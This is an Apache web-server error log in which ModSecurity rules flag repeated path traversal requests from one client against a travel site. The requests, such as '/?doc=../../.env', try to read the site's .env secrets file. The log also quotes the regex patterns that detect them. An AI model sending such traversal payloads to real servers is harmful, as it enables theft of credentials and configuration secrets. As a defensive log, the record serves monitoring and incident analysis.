[Fri Jul 17 08:55:05.020092 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkeYpb_TFRze2EO3zSAAAAAE"]
[Fri Jul 17 08:55:05.020354 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.020873 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkeYpb_TFRze2EO3zSAAAAAE"]
[Fri Jul 17 08:55:05.030991 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2F.env&token=HR3Nv50kSA-9VDNkuPYP08s691JPPyfpp227m-fFPkFLOnbKwTlrx_3pTjf0gD-7CLQ_mkzerD6Dwgm9-AdI5eoSUvYoLn-u_2TrUhSlclinEKM0JsA3y8THbMCBBNaMcPlBaoDr3F13mkbLImACf6VM4OM2c36S48IVa4hUyDST68vEfuoyLh35fcNn-S8SlxdXe2VwY8zh7YU1RtkKcx7b15a_cPGWihLEFAQpT3w3G7nb4hvUGmBINrbCbJeg9zh8xNzYwDS9WkuMu0hs00Ab&ref=TP3LEFDOKHD5ILINZFWHHGN2OF37HZW3YAX3QOX2VCQ2AXFSALUQXL6TIJ7J6CD3AGO2VIDVRS2CSI4X5K4CBIJDCQMRQW5X3J57K2Q24DJ2UJON3FN6UT3NQKN5ZSSKMTHHVJERWI7VOPZ7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.031054 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.031119 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../.env&token=HR3Nv50kSA-9VDNkuPYP08s691JPPyfpp227m-fFPkFLOnbKwTlrx_3pTjf0gD-7CLQ_mkzerD6Dwgm9-AdI5eoSUvYoLn-u_2TrUhSlclinEKM0JsA3y8THbMCBBNaMcPlBaoDr3F13mkbLImACf6VM4OM2c36S48IVa4hUyDST68vEfuoyLh35fcNn-S8SlxdXe2VwY8zh7YU1RtkKcx7b15a_cPGWihLEFAQpT3w3G7nb4hvUGmBINrbCbJeg9zh8xNzYwDS9WkuMu0hs00Ab&ref=TP3LEFDOKHD5ILINZFWHHGN2OF37HZW3YAX3QOX2VCQ2AXFSALUQXL6TIJ7J6CD3AGO2VIDVRS2CSI4X5K4CBIJDCQMRQW5X3J57K2Q24DJ2UJON3FN6UT3NQKN5ZSSKMTHHVJERWI7VOPZ76W3HGK3YY5GA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.031169 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../.env&token=hr3nv50ksa-9vdnkupyp08s691jppyfpp227m-ffpkflonbkwtlrx_3ptjf0gd-7clq_mkzerd6dwgm9-adi5eosuvyoln-u_2truhslclinekm0jsa3y8thbmcbbnamcplbaodr3f13mkblimacf6vm4om2c36s48iva4huydst68vefuoylh35fcnn-s8slxdxe2vwy8zh7yu1rtkkcx7b15a_cpgwihlefaqpt3w3g7nb4hvugmbinrbcbjeg9zh8xnzywds9wkumu0hs00ab&ref=tp3lefdokhd5ilinzfwhhgn2of37hzw3yax3qox2vcq2axfsaluqxl6tij7j6cd3ago2vidvrs2csi4x5k4cbijdcqmrqw5x3j57k2q24dj2ujon3fn6ut3nqkn5zsskmthhvjerwi7vopz76w3hgk3yy5ga..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.031195 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.031222 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.032426 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.032639 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.033010 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ5GPQ6hs4VrfMpBMQAAAAY"]
[Fri Jul 17 08:55:05.034744 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2F..%2F.env&sid=6aOvO53fFq0iqnBQTEqLa0MW_jZyB8dKjXuTOLj1BKKC8ZMQ-RR1EzsY46KCAeD2wJ5Gqj_JvUP56m5FKpLDl80a_HSU_AGBkRMNXCNQX5agcgqJyydbUmwqpk0E8IU45H4UUfxHoVEHag49IQubKUV-KmAB7OJt6VEoLNWzHZd_G7rEOLcoEQtsgdFaaBL9-Wy_WlS2JqueZwyzmahAS0q_W7rQ5ZwS8NINOGbP6A4YSoJWmgzwk6N9O_xbjXHSaEjy9WFD_VQZCxTtLNT7NeGK&junk=3SL6WXPL3MWDLKJ55IZXDLG4UEGHHZSGVD2UV66SDQ43CR4N6BSNEOO5TJJJNEXIUEI5JVLRMZKDZQNHZXOBVHAKBKYTJLUD7JX5K5FJNPEDZEB43VHMQ5BEBLY344X2NI2BLWAQC2RD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.034792 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.034856 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../.env&sid=6aOvO53fFq0iqnBQTEqLa0MW_jZyB8dKjXuTOLj1BKKC8ZMQ-RR1EzsY46KCAeD2wJ5Gqj_JvUP56m5FKpLDl80a_HSU_AGBkRMNXCNQX5agcgqJyydbUmwqpk0E8IU45H4UUfxHoVEHag49IQubKUV-KmAB7OJt6VEoLNWzHZd_G7rEOLcoEQtsgdFaaBL9-Wy_WlS2JqueZwyzmahAS0q_W7rQ5ZwS8NINOGbP6A4YSoJWmgzwk6N9O_xbjXHSaEjy9WFD_VQZCxTtLNT7NeGK&junk=3SL6WXPL3MWDLKJ55IZXDLG4UEGHHZSGVD2UV66SDQ43CR4N6BSNEOO5TJJJNEXIUEI5JVLRMZKDZQNHZXOBVHAKBKYTJLUD7JX5K5FJNPEDZEB43VHMQ5BEBLY344X2NI2BLWAQC2RDOWSI6OWFX7CJP3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.034903 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../.env&sid=6aovo53ffq0iqnbqteqla0mw_jzyb8dkjxutolj1bkkc8zmq-rr1ezsy46kcaed2wj5gqj_jvup56m5fkpldl80a_hsu_agbkrmnxcnqx5agcgqjyydbumwqpk0e8iu45h4uufxhovehag49iqubkuv-kmab7ojt6veolnwzhzd_g7reolcoeqtsgdfaabl9-wy_wls2jquezwyzmahas0q_w7rq5zws8ninogbp6a4ysojwmgzwk6n9o_xbjxhsaejy9wfd_vqzcxttlnt7negk&junk=3sl6wxpl3mwdlkj55izxdlg4ueghhzsgvd2uv66sdq43cr4n6bsneoo5tjjjnexiuei5jvlrmzkdzqnhzxobvhakbkytjlud7jx5k5fjnpedzeb43vhmq5bebly344x2ni2blwaqc2rdowsi6owfx7cjp3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.034924 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.034943 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.036118 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.036281 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.036598 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkYl9vhFBGA6D8l95jQAAAAw"]
[Fri Jul 17 08:55:05.121155 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?doc=..%2F..%2F..%2F..%2F..%2F.env&cb=PDrL-_yLEHBnJJtJB7lugmyc6qGKpF_V_UDRvCVFRnv8n4fgNpcrT85-ks5rrafOZ6ExmMPkMfitLYCLtXOdbl8AOCGNUDyI0Af7aDNEN7IMdd0aBIIddq6iyG-Qce-WKpSzUW1u52VFCLwxQC14JBx1LvwWMUjOeYVSSWMNovgiqnlPHaqaOz26MXy-4QjX3m_kpPY_0nwT6w_6m05Z_hl2ACeyiBrtrMaLe9dGrSoVR7lYwAdNaXZzErGnYOG1Sq0w9JY3rFF3wT9XUA3IPHlv&ref=JXLJCXRWUXJAGMXQM7VKOAPWQRALBQKNVQ6SYNVZ47ICXLVQU6TZBDRQ746NBMO74MRFBGTKJGTR5AP2KOAGLJ4AO2Y3HE4BYMKVZOKRVZOJZPFXVF6227VM4DGR7GLOLJRW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.121216 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.121274 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../../../.env&cb=PDrL-_yLEHBnJJtJB7lugmyc6qGKpF_V_UDRvCVFRnv8n4fgNpcrT85-ks5rrafOZ6ExmMPkMfitLYCLtXOdbl8AOCGNUDyI0Af7aDNEN7IMdd0aBIIddq6iyG-Qce-WKpSzUW1u52VFCLwxQC14JBx1LvwWMUjOeYVSSWMNovgiqnlPHaqaOz26MXy-4QjX3m_kpPY_0nwT6w_6m05Z_hl2ACeyiBrtrMaLe9dGrSoVR7lYwAdNaXZzErGnYOG1Sq0w9JY3rFF3wT9XUA3IPHlv&ref=JXLJCXRWUXJAGMXQM7VKOAPWQRALBQKNVQ6SYNVZ47ICXLVQU6TZBDRQ746NBMO74MRFBGTKJGTR5AP2KOAGLJ4AO2Y3HE4BYMKVZOKRVZOJZPFXVF6227VM4DGR7GLOLJRWK5P453KR6QEM2PYXZS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.121338 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../../../.env&cb=pdrl-_ylehbnjjtjb7lugmyc6qgkpf_v_udrvcvfrnv8n4fgnpcrt85-ks5rrafoz6exmmpkmfitlycltxodbl8aocgnudyi0af7adnen7imdd0abiiddq6iyg-qce-wkpszuw1u52vfclwxqc14jbx1lvwwmujoeyvsswmnovgiqnlphaqaoz26mxy-4qjx3m_kppy_0nwt6w_6m05z_hl2aceyibrtrmale9dgrsovr7lywadnaxzzergnyog1sq0w9jy3rff3wt9xua3iphlv&ref=jxljcxrwuxjagmxqm7vkoapwqralbqknvq6synvz47icxlvqu6tzbdrq746nbmo74mrfbgtkjgtr5ap2koaglj4ao2y3he4bymkvzokrvzojzpfxvf6227vm4dgr7gloljrwk5p453kr6qem2pyxzs..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
[Fri Jul 17 08:55:05.121368 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkaquHSHoCJK_V0SBMQAAABs"]
